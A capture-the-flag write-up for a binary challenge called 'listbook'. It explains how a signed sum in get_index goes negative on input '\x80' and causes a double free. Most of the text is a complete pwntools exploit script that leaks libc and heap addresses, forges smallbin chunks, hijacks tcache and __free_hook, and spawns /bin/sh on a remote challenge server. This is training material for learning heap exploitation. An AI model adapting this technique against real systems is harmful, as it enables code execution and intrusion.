Tags: array overflow
Rating:
## listbook
The function get_index ( `.text:000000000000134C` ) may get a minus value so that array overflow will happen to this program.
```c++
int __fastcall get_index(node *this, int name_len)
{
char v3; // [rsp+17h] [rbp-5h]
char v4; // [rsp+17h] [rbp-5h]
int i; // [rsp+18h] [rbp-4h]
v3 = 0;
for ( i = 0; i < name_len; ++i )
v3 += this->name[i];
v4 = abs8(v3);
if ( v4 > 15 )
v4 %= 16;
return v4;
}
```
When '\x80' is inputed, get_index() will get a special minus value which assigns `new_node` to the global_sign[0], it can lead to double free.
```c++
void __fastcall add()
{
int index; // [rsp+4h] [rbp-Ch]
node *new_node; // [rsp+8h] [rbp-8h]
printf("name>");
new_node = (node *)malloc(0x20uLL);
memset(new_node, 0, sizeof(node));
read_n(new_node->name, 16);
new_node->content = (char *)malloc(512uLL);
printf("content>");
read_n(new_node->content, 512);
index = get_index(new_node, 16);
if ( global_sign[index] )
new_node->next = (node *)global_ptr[index];
global_ptr[index] = new_node;
global_sign[index] = 1;
puts("done");
}
```
Exploit it by double free.
```python
#!/usr/bin/python3
# -*- coding:utf-8 -*-
from pwn import *
import os, struct, random, time, sys, signal
context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './a'
# sh = process(execve_file)
sh = remote('111.186.58.249', 20001)
def add(name, content):
sh.sendlineafter('>>', '1')
sh.sendafter('name>', name)
sh.sendafter('content>', content)
def delete(index):
sh.sendlineafter('>>', '2')
sh.sendlineafter('index>', str(index))
def show(index):
sh.sendlineafter('>>', '3')
sh.sendlineafter('index>', str(index))
for i in range(7):
add(chr(0x01) + '\n', 'a\n')
add(chr(0x00) + '\n', 'a\n')
add(chr(0x02) + '\n', 'a\n')
add(chr(0x03) + '\n', 'a\n')
delete(1)
delete(2)
delete(0)
# UAF to leak libc address
add(chr(0x80) + '\n', 'a\n')
show(0)
sh.recvuntil(' => ')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x1ebde0
success("libc_addr: " + hex(libc_addr))
# Leak heap address
add(chr(0x04) + '\n', 'a\n')
delete(0)
delete(0x4)
add(chr(0x80) + '\n', 'a\n')
show(0)
sh.recvuntil(' => ')
heap_addr = u64(sh.recvn(6) + b'\0\0') - 0x750
success("heap_addr: " + hex(heap_addr))
# UAF to forge smallbins for structuring heap overlap
add(chr(0x04) + '\n', 'a\n')
delete(0)
add(chr(0x04) + '\n', p64(libc_addr + 0x1ebde0) + p64(heap_addr + 0xcd0) + b'\n')
for i in range(2):
add(chr(0x04) + '\n', 'a\n')
add(chr(0x05) + '\n', b'\0' * 0x100 + p64(0) + p64(0x211) + p64(heap_addr + 0x1280) + p64(heap_addr + 0xf10) + b'\n')
add(chr(0x06) + '\n', b'\0' * 0x100 + p64(0) + p64(0x211) + p64(heap_addr + 0xcd0) + p64(libc_addr + 0x1ebde0) + b'\n')
add(chr(0x07) + '\n', 'a\n') # 0x2050
add(chr(0x08) + '\n', '/bin/sh\n')
add(chr(0x09) + '\n', 'a\n')
# Use heap overlap to hijack tcache and __free_hook, finally call system("/bin/sh")
delete(7)
delete(9)
add(chr(0x09) + '\n', b'd' * 0x130 + p64(libc_addr + 0x1eeb28) + b'\n')
add(chr(0x10) + '\n', 'a\n')
add(chr(0x11) + '\n', p64(libc_addr + 0x55410) + b'\n')
delete(8)
sh.interactive()
```
Author: www.xmcve.com